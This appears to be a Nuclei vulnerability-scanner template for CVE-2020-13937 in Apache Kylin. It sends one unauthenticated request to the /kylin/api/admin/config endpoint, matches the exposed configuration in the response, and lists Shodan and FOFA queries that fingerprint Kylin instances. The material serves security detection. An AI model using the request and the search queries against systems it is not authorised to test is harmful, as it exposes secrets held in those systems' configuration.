id: CVE-2020-13937
info:
name: Apache Kylin - Exposed Configuration File
author: pikpikcu
severity: medium
description: Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1, 3.0.2, 3.1.0, 4.0.0-alpha have one REST API which exposed Kylin's configuration information without authentication.
impact: |
An attacker can gain sensitive information from the exposed configuration file, potentially leading to further attacks.
remediation: |
Secure the configuration file by restricting access permissions and implementing proper access controls.
reference:
- https://kylin.apache.org/docs/release_notes.html
- https://s.tencent.com/research/bsafe/1156.html
- https://lists.apache.org/thread.html/rc592e0dcee5a2615f1d9522af30ef1822c1f863d5e05e7da9d1e57f4%40%3Cuser.kylin.apache.org%3E
- https://github.com/Al1ex/CVE-2020-13937
- https://github.com/HimmelAward/Goby_POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2020-13937
cwe-id: CWE-922
epss-score: 0.93845
epss-percentile: 0.99857
cpe: cpe:2.3:a:apache:kylin:2.0.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: kylin
shodan-query: http.favicon.hash:-186961397
fofa-query: icon_hash=-186961397
tags: cve,cve2020,apache,vuln
http:
- method: GET
path:
- "{{BaseURL}}/kylin/api/admin/config"
headers:
Content-Type: "application/json"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/json"
- type: word
part: body
words:
- config
- kylin.metadata.url
condition: and
- type: status
status:
- 200
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